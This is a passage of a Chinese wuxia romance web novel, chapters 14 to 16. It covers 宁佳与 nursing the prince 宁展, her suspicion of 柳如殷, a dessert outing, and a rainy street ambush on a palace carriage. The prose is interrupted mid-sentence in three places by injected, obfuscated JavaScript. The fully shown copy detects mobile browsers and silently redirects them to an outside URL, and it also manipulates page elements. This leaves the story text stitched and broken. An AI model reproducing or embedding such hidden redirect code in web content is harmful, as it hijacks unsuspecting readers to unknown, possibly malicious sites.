但她出手的目的不是要为宁展增添胜算，却是试探对方是否也有意取宁展性命。 显然，那人只是想让宁展吃点儿教训。至于宁展对他的身手是否有自知之明，有待商榷。 宁佳与不拿宁展若有若无的责问当回事，揶揄道：“元公子是但凡见着一位相识，便要许人家好处？既如此，待我这屡次挺身而出的恩人，为何连个好颜色也无？” 宁展反问道：“那么与姑娘今日又为何会在此。” “吃冰啊。”宁佳与理所当然，“不过那铺子和街市实在挤人，我便进了墨姐姐的医馆。如何，比你聪明些？” ...... 宁佳与走了许久，肩上跟死了人似的。 “不认罢了。”她自己叨咕。 宁展闭目凝神，隐约嗅到浅淡的花果香，不时误触旁人肩颈的额面竟有冰凉之感。他心下一阵错乱，难以言喻。 二人踉踉跄跄回到宅邸，日头业已平西。 以宁门前接应，一时说不清这两人凑在一块儿时哪位更倒运。 每每同行，总归有一人要负伤。倘此二人南下要择医官随行，想这医官南行归来，合计囊中所得，俨然富比王侯...... 宁佳与环抱两臂，候在屋外瞧大夫们忙前忙后。闻悉宁展无恙，她撒手欲走。 以宁出门拦住宁佳与，步伐干脆，言语却吞吞吐吐：“嗯，公子他，后续情况尚不明朗。请与姑娘，进屋说话......” 宁佳与满头雾水。 那弩箭并未伤及根本，便是真带了毒，坊间也少有她那瓶奇药解不了的品类。 什么话非得这时候说？ 宁佳与挪进屋，盯着貌似疲弱无比的宁展，警惕道：“殿下有何吩咐？” 宁展缓缓抬眼，声气绵软：“大夫说，若是不能及时换药，抑或任水、汗浸入伤处......极难痊愈，因而近几日须得有人时时在侧看顾。唉......无奈我此番出行未携料理起居的随从，只好劳烦与姑娘了。” 宁佳与闻言挑眉，回身再去寻将自己带进坑里的人，一无所获。 “不是还有以兄弟吗？杏林后人，又是殿下亲信，如此重任，非他莫属。” “不妥不妥，以宁终究是个粗人，比不得姑娘手轻心细。与姑娘难道忘了，在嘉宁城外......”说着，宁展额前布上了汗，“他是如何待你这伤患的？” “......那我去寻柳姑娘。”宁佳与敷衍道，“人家上回便提议要照顾公子养伤，也像个温婉心细的人，再合适不过。” “你——” 宁展被宁佳与激得不轻，拍床而起。在宁佳与嘲弄的注视下，他躺了回去。 “与姑娘自诩聪颖，且尤其喜好当救命恩公。何须找旁人？你，不正是天选？” 天选？谁是天？ 宁佳与望向擦黑的天，心中冷笑，面上有条有理：“殿下嘉宁出身，最是讲求男女有别；天之骄子，亦不会想和在下这野蛮无礼的同处一室。凭他谁选，恕难从——” 宁展闭着眼，拿出一块儿牌子，道：“此务，姑娘接了，从今往后便是真正入了青竹阁。” 宁佳与狐疑上前，接过竹牌查看。 正面刻着“狐狸”二字，背面则是竹节。 “这是......” “青竹隐士人手一块的手令。”宁展听着宁佳与略显吃惊的口吻，满意答道，“也等同于——” “这是谁给我取的别号？未免太难听了。”宁佳与将牌子丢回宁展身上的褥子，别过脸去，“我可不要。” 青竹令牌虽为竹制，却是实心，很有些分量。 宁展全然不想宁佳与会是这个念头，因而对此举毫无防备。他艰难翻身，背对宁佳与，弓成了熟虾模样，似乎痛不欲生。 宁佳与不明所以，只以为宁展打消了主意，于是道：“殿下既已安寝，我就不打扰了。” 安寝？如何能安？ “......慢！”宁展挤出字音，从脖颈到眼眶无不涨红，“姑娘想要什么别号，说来便是......一切......好商量......” 这是个大事，她从前也未取过别号，得好好考虑。宁佳与随手捡了圆凳坐下，掂量半晌，问床上几至堆作团的背影：“以兄弟是个什么别号？” “这......”宁展调整吐纳，道：“暂不便告知姑娘。待你二人日后共事，自有交换别号与手令的时候......” 宁佳与“哦”一声，起身出门，抛下一句话。 “这事我接了。别号，再想想。” - 宁佳与这回独行，原只打算取了宁展首级，一手交人头、一手交音信。但她至今都记得宁府那册令人匪夷所思的绝户名单。 青竹阁行文特有一套、或是几套排列组合的规则。换言之，在宁佳与一个外人看来，那不过是本语序混乱的废书。 她以自己的法子拼拼凑凑，仅推断出名单上不仅有朱门大家、寻常小户，还有内廷宫人乃至王孙贵戚。最要紧的是，时间由琛惠年跨至嘉墨年。 须知，三大暗阁皆立于嘉墨年间。 那么是谁在撰写这无所不包的生死簿？谁有权力，将其归入青竹阁藏书？生死簿的意义，又是什么？ 当中，兴许就有宁佳与需要用宁展性命作筹码去交换的音信。 无论宁展今次出于何故为她挡箭，她总算是看到打入青竹阁内部的希望了。 不就是伺候人吗？ 宁佳与没伺候过，但从前没少见人伺候。 这一夜煮水、煎药、换药，她就差替宁展沐浴更衣了，连口茶也没顾上吃，累得够呛。万事了却，她生咽了药丸，扑上外间的桌闷头就睡。 合眼不多时，宁佳与被以宁用剑柄戳醒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁佳与起身连退几步，指斥道：“你舒舒服服睡着床，却在这儿假寐？！” “分明是你进出没个休止，扰人清梦。我还未——” 宁佳与乏得很，懒怠同公子哥拌嘴，抢起长靴，夺门而出。 宁展卯正晨起，即见床边摆了对湿沥沥的长靴，压根不能穿。 至少人不能穿。 让她洗，还真洗。让她走，怎的就是不走？宁展自寻了对旧靴蹬上，撩起里外的隔帘，房门大敞，宁佳与伏案睡得正香。 以宁早早候在门外，听得动静，压剑入内。 “公——” “嘘。”宁展打断道，“我出去一趟，你盯着她。医馆那处人手够了，墨郎中不会有事。” “是。”以宁道。 宁展越过门槛，又退回，随意吩咐道：“给她找身外披盖上。” - 宁佳与这些年，躺过山沟、树杈，睡过墙头、小巷，调适自己的能力不可谓不卓异。趴木桌，倒算舒服的了。 强光刺目，她抻手展臂，方才发觉背上同自个儿格不相入的云锦披衫。 宁佳与捶了捶双腿，后折起披衫往外走，门口赫然立着抱剑的以宁。 “早啊，以兄弟。你家殿......公子呢？” “公子在柳姑娘那处。”以宁如常肃然。 “谁？”宁佳与简直难以置信，“但你昨夜不是说殿下不近女色吗！” “公子是不喜姑娘家来接近他。”以宁道。 这意思便是宁展主动接近人家了？宁佳与叉起腰，质疑道：“他为何不教你同去？以兄弟也安心任你家公子单枪匹马去闯盘丝洞？” 据她近日所得，柳氏的来头及身边相交之人相当复杂。 “柳姑娘的住处并非烟花之地。”以宁正色回驳，“她也不是那般随意之人。” 宁佳与扶额短叹，委实想不明白这主从二人为何如此信任柳氏。 “我是问，元公子为何没有一并带上你？他是不是看上人家了？莫非男女通吃不成？” “因为，我奉命在此候着一觉睡至红日三竿的与姑娘你。” 宁佳与登时语塞。她将披衫揉巴揉巴塞给以宁，一面呵呵抱歉，一面疾步出了宅邸。 14. 圈套 宁佳与并不真是宁展眼中无所事事的闲人。 看似闲逛的工夫，她将柳氏的人际走动、日常线路及跻身之所探了个大差不离，故目的地明确，直抵“盘丝洞口”。 柳如殷的居舍确非烟花柳巷，却同那恩客盈门的寻芳楼相去不过半条街。 门前，些个面色羞赧的女子时而透过狭缝往里瞧，时而挥帕戏谈。但闻宁佳与故作恶霸似的清嗓子，便三三两两推挤开来，掩面散去。 咚咚咚，咚咚咚。咚咚咚，咚...... 宁佳与叩门急促，待柳如殷赶出来迎，她又端起两臂，声色不动了。 柳如殷愣了好一会儿，才认出来者谁人。她挂上笑脸，热忱道：“原是与姑娘兴致惠临，快快请进。” 宁佳与还以一笑，越过柳如殷往屋里走着。她食指点着肘窝，暗想自己与柳氏分明是连招呼都没打过的关系，即见宁展从容地坐在堂中品茶。 “柳姑娘。”宁佳与回身看她，“若不曾记错，我还未与你通过名姓罢？” “是。”柳如殷客气道，“我姓柳，名如殷。也是方才同元公子说话，便记下了与姑娘芳名。” “哦？你们二人单独说话，还有我的份呢。不过，”宁佳与转望宁展，“元公子带着伤也要寻到姑娘家中讨茶吃，且不让旁人随行，居心何在啊？” 柳如殷连连摆手赔笑，未及申辩一二，宁展抢先站起。 “柳姑娘不必放在心上。”他快步走向宁佳与，边推着人往外去，边对柳如殷道：“她许是未解嘴馋，这才怪声怪气的。今日多谢招待，我等告辞了，不送、不送。” 二人离开柳如殷的住处后，宁展仍未罢手。 宁佳与任他推了一段，本欲借嘉宁礼法挖苦宁展男女有别云云，又觉着满口礼法委实不像自己，干脆躲开宁展的手，自顾向街市疾行。 宁展望着忿忿远去的背影，脑海中莫名忆起今晨。 桌上，犹在梦乡的白润脸蛋被臂弯堪堪一挤，恰好堆出小坨肉团。像早点摊去了壳儿的熟鸡蛋，瞧之滑嫩；又似煮锅里上下翻腾的手打圆子，戳之回弹。 他当时没动手，但和此刻一样忍俊不禁。 打从到景安，宁佳与那随身的大包袱便丢没了影。宁展顺嘴提了提，命底下人在城中搜寻一番，到头未果也无妨。 孰料，包袱是落在他进城当日追逼徐临帆的那条小道。 宁展原打算原物奉还，却忽然多了个心眼。 他将包袱里外查了两遍，是如何也想不到，那般死沉，装的竟是个盛满风干泥浆的大木盒？无怪宁佳与平日面上不是灰就是土，这阵子丢了包袱，脸蛋都跟着清爽不少。 宁佳与虽不再以泥糊面，但终究懒于妆扮。因而不似柳如殷门前往来的姑娘们一水儿红妆，亦不似世家闺秀淡扫蛾眉。 她素着脸，可嘴唇依旧如二人城郊初见，不时泛着殷红。 宁展不近不远地跟在宁佳与身后，思忖间瞥见银骨扇下坠着个鼓囊囊的荷包，随她步伐晃荡，应是备着她几不离手的含桃。 宁展恍然了悟。 朱唇莹润，原是那含桃之色。 宁佳与猝然顿步，折回来寻他。见人无故朝自己奔来，宁展下意识要避，整个身子却像中了咒，动弹不能。 衣摆飞扬，细碎的日光穿过她肩头墨发，少数落在宁展胸膛，多数映着面红颈赤。待她靠近，甚至真有果木香泽，扫尘而去。 宁佳与牵上楞头磕脑的宁展，领着他追风逐日，任和风拂过两人面颊。 宁展由她拿着手肘一路跑，直至两盏冰酪被堂倌吆喝着端上桌，他方才找回神智。 这是到了冰酪铺子。 两盏冰酪，没有一盏是宁展的口味，偏巧尽是宁佳与钟爱的含桃，难说没有让他看得见、吃不着的意思。 猜料自己又被作弄了，宁展极力隐忍不发，只握拳压着木桌。 瞪她。 宁佳与眼疾手快，趁宁展唇齿翕张的空，挖起一勺冰酪就往他嘴里塞。他惊得立眉竖眼，故而匆匆咽了口中碎冰，忙要发话指责，岂知又是一大勺！ 将他满腔怨念堵个正着。 这会儿没法囫囵而吞了。好在宁展喜冰，很快适应了过劲的寒意，反倒生出闲心去品那颇显新奇的滋味。 一口咬下，果木汁水登时迸发，缠着绵绵细冰在唇齿间渐次化开。万缕含桃馨香沁入心脾，犹若可解数日之乏。 鲜而不腻，令人有意贪食。 但勺在宁佳与手中，宁展既不便出手抢夺，大庭广众，不成体统；更不便直截端来另一盏，否则两盏他都动了，宁佳与呢？ 自宁展入口第一勺冰起，宁佳与一直抵着下巴端量他须臾间的神色变换。 狐仙大人能掐会算，将两盏冰酪推向宁展。 “吃罢。”她笑得脸上生花，“两份都归你。” 宁展被人轻易洞悉心思，有些磨不开面，道：“我是尝个新奇，明日兴许就觉得这含桃滋味难以下咽了。” 宁佳与瞧他嘴上不松口，手上却实诚得很，一勺勺不停往嘴里送，也不与他计较，只道：“属下请公子尝了鲜，公子可否回我一个问题？” “嗯？” 宁展从碗里抬起头，冰酪去了大半，他却纹丝不乱。 “你问。” “公子你......”宁佳与压低身子，伏案而视，迟疑道，“可是断袖？” 尽管宁佳与收着声，宁展仍觉震耳欲聋。 “宁佳与......”他忍无可忍，“你脑子没坏罢？！” 这还是宁展头回以他并不接受的名姓称呼宁佳与。 众所周知，嘉宁大殿下为人恭而有礼，不论身在何处，旁人所见，皆是他一贯的言谈谦和、笑貌温良。如今却频频失控，似乎面对宁佳与，他就不得不做个易怒的暴君。 若要说，他其实生来伪善。人在做，天在看，老天爷不答应。 宁展垂髫之年，气性比这大得多。然则年满九岁后，他便转了性。 碎嘴多舌者暗地里叹：“好比凭空捏出个佯装明君的妖怪，将原先那位嘉宁大殿下取而代之了。” 彼时宁展尚且青涩，已常随大官小吏同往灾处做实事，深得民心，因而有人站出来为他还嘴：“小人谗言！谁不知，嘉宁大殿下儿时面世至今便是这模样？若真有妖怪上身，别个瞧不出来，亲爹亲娘还瞧不出来吗，轮得着他们瞎磨牙！” 民间谣传颇多，此话倒不假。 嘉宁大殿下打从儿时面世至今便是这模样。 宁朝灭后，七州共商改元，墨川与嘉宁议和。 道是议，实为墨川向嘉宁求和。 嘉墨四年，墨川齐王即位，进而封墨川王太后元叶之女——墨司琴为正一品长郡主，赐号文怀，和亲嘉宁，与同即位的嘉宁善王缔结良缘。 何谓良缘？ 既是墨川和亲嘉宁，这桩婚事便不能危及嘉宁王室，即墨司琴不可位极王后。 善王仁民爱物，此前一门心思扑在重兴嘉宁之上，余外人、事、物通通靠边。然对于和亲，他却坚持拥文怀长郡主为正室。 似是误打误撞，成全了一对佳偶。 二人如鼓琴瑟的美谈几度盛传：善王待王后极好，日日亲自为其梳洗打扮，苦研厨艺不说，便是再忙也要赶到王后身边陪膳。 嘉墨七年，善王与王后得子，定名为展。待宁展年满周岁，善王与王后私访、探友、走亲，甚乎列席七州大典，不论行至何处，皆要携爱子同往。 嘉宁大殿下是众人看着长大的，上至权贵，下至布衣。 如此，宁展在宁佳与面前倒并非像是变了个人，反像重返垂髫之年。 宁展嗓子一放便清醒了八分。不待周围侧目，他掏出碎银搁在桌上，拽着宁佳与快步远离铺子。 “哎哎哎，松开！” 宁佳与不知如何点着这阎王爷的火头了。宁展不放手，她俯身一绕，伸手扯下宁展腰间的茄袋，将东西往街边房檐上甩。 宁展果然罢手，摸到腰侧空空，狠狠剜了宁佳与一眼，随即借树纵身跃起，去抓那腾空的茄袋。 宁佳与好容易歇下喘口气，正揉着被人扼得生疼的手，不料宁展将将落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宁佳与坐在床边，苦兮兮点着自己所剩无几的盘缠，摸摸袖袋里屈指可数的含桃，再算算青竹阁发俸的日子...... 年幼时，她听母亲说，大生意不难做，诀窍便是讲诚信。 可难就难在，她如今哪能与人讲诚信啊？ 同雇主讲，嘉宁世子是她一位故交，这脑袋她若轻易砍了，恐遭雷劈，能否将她要的东西拱手白送？ 同宁展讲，你一颗头，或可还天下一个真相，这积德但要命的买卖，你干不干？ 还是同师父讲，她出息了，如意算盘打到嘉宁世子脖颈上了？ 宁佳与连连摇头，势要甩掉这些骇人的意念。她收起银子，未及叹气，有人叩门。 宁佳与在这宅邸待了十余天，大伙儿遇上，至多便在堂中闲话片刻，不会找上门。 她谨慎地开了条门缝，却是恨不得也要她小命的阎王爷。 宁展即刻收起侧耳的架势，端正道：“与姑娘，可否进屋说话？” 门扉缓缓拉开，宁展见她茫然，将手中托的一碟鲜果往前递了递。 宁佳与顺着看，竟是颗颗盈满的大含桃！含桃上挂着圆润的水珠，似是方才过了凉水。 宁展心里没底，还想先说两句软话，宁佳与便朝屋内退去三步，浑不记仇的模样，粲然道：“殿下快请。” 宁展一愣，颔首道：“多谢。” 宁佳与虑及宁展此番应是有要事相商，正当闭窗阖门，即听宁展说：“不必。与姑娘坐罢。” 二人相对而坐，宁佳与余光在含桃上游走，面上耐心候着宁掌阁发号施令。 “听闻，与姑娘今日醒了觉。”宁展提壶斟茶，“便赶着去柳氏那处寻我了？” “对啊！”宁佳与诚恳无比，“属下如何能不忧心您的安危？” “嗯，我的意思是。”宁展抿一口茶，“你寻我有事？” “哦......哦！”宁佳与竖起手指，“那柳氏来路不明，与其说她是为赏银而来的生意人，更像是早有预谋的圈套。殿下怎会不解？” 宁展本决计如实告知宁佳与，闻言改口道：“但与姑娘于我而言，不也像个预谋已久的圈套吗？” 15. 新红 “我！？” 宁佳与指着自己，神情楚楚，满脸写的冤枉。 “可我兢兢翼翼，屡次搭救殿下。若真有异心，岂非，早已趁人之危下手了？” 宁展得了逞，效仿她道：“玩笑话罢了，与姑娘怎的还急红了脸？” 他是个记仇的，宁佳与也不是省油的，不甘示弱道：“公子何必将属下的无心之言学去，有此闲心，不妨用以精进身手。免得日后羊落虎口，还要指望着我这个预谋已久的圈套将您套出来。” 宁展哑然。 他年少得镇国大将军真传，十余年间无日不用功，自信身手过人。但操演到底不比真刀真剑，能力再强也得折半。在宁佳与面前，无论与谁交手，他确实没得着一回好。 “与姑娘说得是。” 宁展握着茶杯，笑看宁佳与诧异他如此作答。 “而我来，是为与你说，柳氏姑且可信。我今日上门，她坦言自己借墨郎中一事为由不假，实自墨川来，乃元氏一族的人手。眼下元太后......也就是我的外祖母，被墨珩关了禁。柳氏歌妓出身，于是混在为墨珩献唱的队伍里出了宫，至景安报信于青竹阁。” 宁佳与虽不知宁展缘何与她说这许多密事，但她听了，便禁不住思虑起来。 “元氏的人？她可有实证？” “墨地蓄猛虎，”宁展意味深长，“元舍养白鸦。” 宁佳与眉间一皱，犹豫道：“......什么？” “这是元氏互通的暗语，用以互助。”宁展道，“柳如殷说得一字不差。” 比起行事诡怪的柳如殷当真说准了暗语，宁佳与还是更惊于疑神疑鬼的宁展就这样将暗语告知她一个外人了？ 见人不言语，宁展饮尽茶水，平和道：“今日对你出手，非我本意。抱歉。” 宁佳与全然沉浸在适才的对话中，随心应付了宁展两声。 宁展并不介怀，颔首告辞。 “元——”宁佳与兀然开口，其实没想好要说什么。 宁展顿步回首，道：“怎么了？” “无事。这不，”宁佳与笑呵呵起身，张望门外的光景，“天黑路暗，元公子慢走。” “好。那含桃，”宁展往她身后看一眼，“莫放坏了。不然怪可惜的。” - 景安这春，好似白日说一、夜晚言二的宁世子，神鬼莫测。 前一刻仍有曙光腾起，熙风拂过金穗。再昂首时，已是云遮雾障，烟尘斗乱难视。 平明，宅邸外早有乘舆恭候。 以家姐弟赶着清晓出门，步子将过门阶，便有零零细雨凉了颈。以宁冒雨回屋取伞，一位内宦这才点头哈腰上前来，笑称舆内有伞。 以宁看在眼里，执伞的手握成拳，以墨按了按他的肩以示宽慰。二人相视缄默，以宁搀着以墨上了马车。 宦官狗仗人势，连踏脚的矮凳也不出。 宅内，宁佳与罕见起了大早。她缓步游廊，端起两臂环胸，窥察门外的动静。 眼瞧门外随车的宫人个个远了，她越走越快，哪料拐角不留神，径直撞上同样赶路的宁展。 不知宁展胸前的内袋藏了什么暗器，硬得很。 宁佳与捂住磕疼的额角，给宁展赔了个笑脸，匆促朝大门去。 只转瞬，廊檐外落的再非淅沥小雨。她步伐极轻极快，原地止动实在不易，故而伸手去抓阶旁的柱子借势，无奈上半身已然冲进滂沱之中。 水坑近在眼前，宁佳与却是肘间一紧，随即天旋地转，整个人被向后拽倒。 没有意想中栽跟头的痛感，反似垫一席软枕。 她撑地抬眼，一把红伞遮挡在上。 宁佳与忽然感觉到游廊在动，于是猛抽手，才意识到她撑的哪里是地？ 那是人的膝骨啊！ 宁佳与由身后之人扶起，饶是耳畔念念有词，可雨声嘈乱，她也辨不清了。 宁展无暇他顾，左手护住宁佳与左肩，右手捏牢彼此中间的伞柄，揽着她同向雨中走去。 “公子，我们两人......”宁佳与木然道，“为何只能撑这一把伞？” “来不及了。”宁展目光沉凝，直视前方。 是的，来不及了。宁佳与本就是如此想。 二人在渺无人烟的街市上疾行，昔日集市车马骈阗，如今商铺齐齐关张。反观那夜间方才满座的寻芳楼，当下却是熙攘非常。 果不其然，王宫乘舆堪过楼前，吊在末尾的宦官陡然抽出袖间软剑，剑锋直指舆内。 寻芳楼前徘徊不休的众人见软剑一指，宛如散兵得令。更有人自二层破窗飞下，逐队成群，将马车连人团团围住。 其余几个宦官跪的跪、逃的逃，即听聚众为首者大呵：“下车，交人！” 在场，谁都清楚这宫舆里坐的是谁，以及劫道者要的人是谁。 话音未落，以宁扯帘而出。豪雨迅速浇透全身，车夫早已不知去向，他踩着前室[1]，与众人执剑相对。 “你们。”以宁扫视人群，沉声道，“敢动墨郎中一根指头试试。” 宦官高呼：“——杀！” 多方人头攒动，挥臂而攻。数道寒光迎雨乍起，前赴后继，劈向以宁。 大雨湿发，千丝万缕不断叠织成网，遮其视线，乱其耳闻，他却仍是目光炯然，锐利捕捉剑影，以烈风之势狠狠砍下！ 寻芳楼前厮杀成片，手起刀落间溅起的血尚且分不清源自何处，下一刻便是雨血交融，争相坠地。 宁佳与目不转睛地盯着那内宦的脚步，正要上前支援，宁展一把将她拽回。 “别急。”宁展平静道，“阁里派人报官去了。” 报官？ 报官也得有用才行，景安的衙役哪里斗得过这些个带刀的亡命之徒？宁佳与被宁展拦在伞下，不甚理解。 殊不知宁展之所以报官，是为着叫人来替一众不识好歹之辈收尸。 自以宁十一岁入阁始，终日与刀枪剑戟、刺客凶党为伴，将近十年。眼前这等刺客，便是来得再多，于他不过是小打小闹。 以宁及时挡下每一剑，不致任刀刃钻了空扎进舆内。以墨只能悬着心静坐其中，屏声敛气，唯恐被人抓准位置，害得小弟分心。 但瞧乘舆两侧被利刃接二连三刮花，在霖雨中岌岌欲倒，宁佳与极力辨析人群中的刀光，始终没有找到适才那把软剑。 宦官不见了！ 她使劲挣脱宁展紧紧攥住的小臂，阔步闯入雨幕，进而竭力跃起，霎时踹上一人脊背。未及落地，宁佳与右手绕至腰后取扇。 迎面三人持剑袭来，她踏上车板，借势飞身回踢两人，同时挥起银骨扇抵住一剑。 胶着间，劈刺者深以为男女力量悬殊，欲倾全身之力，尽往女子脸庞削去！却看女子神意染笑，眼中潜藏的玄机似比寻芳楼的姐儿更能诳惑人心。 宁佳与作态不敌，先是手劲一虚，扇柄在掌中微晃，对方蓄满攻势的白刃没了支撑，连剑带人向她那边摔。 她闪身规避，以扇骨尖端猛击男子失衡的腰部，紧着跟上一脚。暗淡的靴面扫开雨帘，给将死之人的后脑一记重创。 宁佳与趁时踩尸腾起，越至乘舆帘幔之前。她赶忙撩帘子救人，不想方才号令众人的宦官自雨中冲杀突出！ 奸官双手把握软剑，对准了宁佳与的背心，其势如饱宿怨深仇，张牙舞爪地刺。 “——小与！” 宁展抛却油伞，粗风骤雨拍打在脸，他行步如飞。 这声高呼贯穿人群、搏杀血雨，传入宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679221|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳与耳中，清亮明晰。她如应斯响，右手灵快甩开扇面截挡软剑，迅速回身抬起左臂，数支细针自袖脱去！ 四针麻其指臂，一针直指神堂。 软剑当啷落地，人跌入血泊。 随着数十声利剑抹脖，雨收云散，沸反盈天的街市仅剩一片死寂。 油伞翻倒于水，晕染新红。 “墨姐姐。”宁佳与重新探入帘内，“你可好？” 乘舆开了顶，水珠从以墨脸颊滑落，宁佳与不忍去辨这几颗晶莹究竟是雨是泪。 以墨勉强扯出笑，她想安抚这个为救她险些命丧剑下的小姑娘。然望进那双拼杀过后依旧熠熠生辉的眼眸，她有口难言。 她要如何与其言说？ 说谢谢，她不愿看宁佳与自责没能早些出手相救；说抱歉，又不愿看宁佳与若无其事地自称好胜。 她和宁佳与几面之交，而今便得其舍命搭救。内心这样柔软的姑娘，身上偏有不达目的不罢休的固执劲，不知过去和将来要尝多少苦楚，她看得透，却无法帮上什么。 以墨轻轻握上宁佳与向她伸出的手掌，笑道：“幸好有你。” 兴许宁佳与今日之举只是兴致所为；抑或她身手不凡，压根不会死于宦官剑下。但以家人生逢动荡，恩情不论轻重，且铭刻于心。 毕竟谁也无从笃定，今日之恩，眼下之义，来日是否还有相报之时。风云难料，随心一瞥，可能就是彼此今生最后一面。 宁展见二位姑娘无碍，移步旁侧，出剑翻看尸身。 前头的缰绳被斩成两段，赶车的马儿也惊没了影，余下前倾的车辕和这破顶烂舆。 浸了水的前室瞧着危如累卵，勉强立于其上的宁佳与更是摇摇欲坠。她没有妄动，稍稍侧首，瞥了眼身后的情势，断定无人，放怀后仰。 以家姐弟当这傻姑娘是要寻死——她竟后脑朝下，整个人往那地面倒去。 以宁伸手欲救。以墨在几近塌架的车里看得揪心，不禁捏紧了衣袍。 宁佳与双脚沾地之际，上身微抬，手臂向两旁打直展开，身体顷刻与地面持衡，左右脚前后点地，平稳滑出一段距离。待冲劲缓过，她立身站起。 此前，以宁对宁佳与颇有成见，而宁展偏说此女如何才气过人，除去目无礼法和鬼话连篇外，再没旁的缺欠。他如今复观，殿下挑人的眼光或许还算不赖。 小姑娘貌似及芨而已，且不说心思何其缜密，便说外在表现——是轻功了得、招式利落；单臂敌得过执剑男刺客，孤身杀得进成群凶党；可战与明剑，亦使得暗器，个中技艺收放自如。 更骇人的是，这仅仅是她情愿示于人前的能力。 以宁想罢收剑入鞘，近前扶以墨下车。 宁展旁观全程，早有预料似的冷笑，拂袖而去。 以宁被雨里外浸了个遍。他拧几圈下裳，看着面色发白的阿姊，说不出话，于是背朝以墨蹲下。以墨略有迟疑，还是小心伏上了背。 以宁背起阿姊，不似扛人时那般粗莽。 “阿宁，我从未怪过你。从前不会，”以墨捻着衣袖，替小弟擦拭脸颊的血渍，“以后也不会。” 以宁垂了眸，凝注脚下的路。 “不论你卓异与否、能耐如何，我们以氏，懂得知恩报恩、救危扶困，便足矣。你是以家的骄傲，阿姊只愿你康平、长乐......” 宁佳与在寻芳楼前驻足，似是弯腰擦了擦靴面，信步跟上。她轻抚扇面，支支银骨所连的苎麻细布已被软剑绞破了口。 须知，她这宝物过了师父的圣手，扇面绝非常人能破。 宁佳与打扇收起，不由回头再望躺尸楼前的宦官。 手头整顿完毕，以宁得令给宁佳与送衣袍，顺带转告她更了衣即刻到宁展房中去。 16. 相持 得亏宁佳与清楚，宁展即使并非断袖也无意女色，否则单听以宁那般说辞，不免误以为这是召人侍寝了。 待她匆匆赶到，发梢犹有几寸湿润，两颊细丝零散，长发潦草挽在后颈，殷红的袍子衬着肤色益发净白。 宁展打眼一看，像宁佳与初到宁府对镜梳发那晚。 她没穿以宁送去的外衣。 宁佳与跨过门槛，瞧见桌上摆着三个碗，其一已空，余下两碗冒着热气。她细嗅想来，应是姜汤无误。 此前，以墨煮了小锅姜汤，盛出三碗送到宁展房中，其余由以宁分发至尚在宅内的隐士手里。 以宁完事回来，宁展面前的三碗姜汤该是怎样还是怎样。他只以为殿下贪凉惯了，不喜热汤滋味。 宁展观他开口要劝，遂道：“你先喝罢，待会儿凉了。我还不渴。” 以宁老实喝了，谁知宁佳与方至桌前，宁展便端起姜汤一饮而尽。其势之快，直教对面二位傻眼。 “都这么看着我作甚？”宁展将最后一碗推向宁佳与，道：“还不趁热？墨郎中煮的汤，没毒。” 原来殿下是担心与姑娘怀疑汤里有毒？以宁若有所悟。 “哦......”宁佳与似是并未多心，上手即饮。 宁展不料宁佳与今日如此痛快，正要揶揄她两句，她转头对以宁笑道：“墨姐姐真是贴心。她今日多有疲累，我便不去打搅了，有劳以兄弟替我谢过姐姐。” 以宁因宁佳与侠义出手之举颇为感激，态度较先前缓和不少，闻言颔首道：“与姑娘不必客气，本该我和阿姊向你道谢。” 宁佳与咽下姜汤，左手一摆，十分潇洒：“不足挂齿。” 二人此前诸般不对付，这便客气上了？宁展这回是真心觉得宁佳与手腕了得。 以宁出奇耐心，又道：“往日多有得罪，与姑娘勿怪。” 宁佳与搁了碗，道：“欸，那有什——” “停。”宁展听不下去了，“叫你们来，是要你们谈谈那群刺客的来路。旁的话，过后再说不迟。” “刺客左掌关节和右手两指均覆老茧，是常年拉弓射箭之人，殿下能认不出他们的来路？既已知是迎柳阁作为，”宁佳与掀袍就坐，懒散道，“殿下何必拿我和以兄弟消遣呢。” 宁展惯于与人打交道时循序渐进，换言之，互留余地，便宜各自周旋，纵龃龉不合，日后也好相见。宁佳与这般单刀直入，他差点儿没接上茬。 “......刺客确是迎柳阁的人，但个个下死手就不对劲了。若墨珩有心取墨郎中性命，上回便不会让人毫发无损地留在阴山。此番，应当不止是迎柳阁一方的作为。” “这意思。”以宁拳头抵着桌面，“是除了墨珩，还有人盯住阿姊不放？” 宁展沉默片刻，道：“也许是。” 宁佳与看向宁展，质问道：“殿下今日为何袖手旁观？” “为着救你，伞都扔坏了。”宁展好笑道，“与姑娘还要我如何？” 宁佳与一愣，忽然记起好像是有那么回事。彼时耳畔嚣杂，尽管宁展救她的动机须得存疑，她也来得及反击，但那一嗓子的确叫醒了她。 叫醒了她最初接近宁展的念头，以及她沉溺多年的安逸。 她得力争朝夕，还得另寻后路。 “那么......”宁佳与颔首带笑，“多谢殿下。” 以宁抓了把头发，为宁展解释道：“与姑娘误会了。公子昨夜与我通了气，推想今日多半有人劫道。如是些无名小卒，凭我一人足矣，公子不便出手。” 宁佳与看着这张名唤“元祯”的脸，猜道：“殿下此行，不能让旁人知晓？” 宁展赞许地点头，道：“青竹阁行事，大局为重，未得指示，不可轻易左右同僚处境，即是同僚死在你面前，也不得出手搭救。因为若非搭档，就不清楚别人的具体计策，盲目搭救，或节外生枝，或功败垂成......” 宁佳与皱起眉，不敢苟同。 宁展正是见宁佳与反应如此，未尽言便住了嘴。 他掂量着这反应的真假，接着说：“三大暗阁之间都是老对头了，青竹阁什么作风，他们自然清楚。谁又不知阿宁是嘉宁世子的心腹？我急于出手助他，难免自曝身份。” 宁佳与从宁展口中听到嘉宁世子，就像听他提起一位无关紧要的人物，而不是自述。 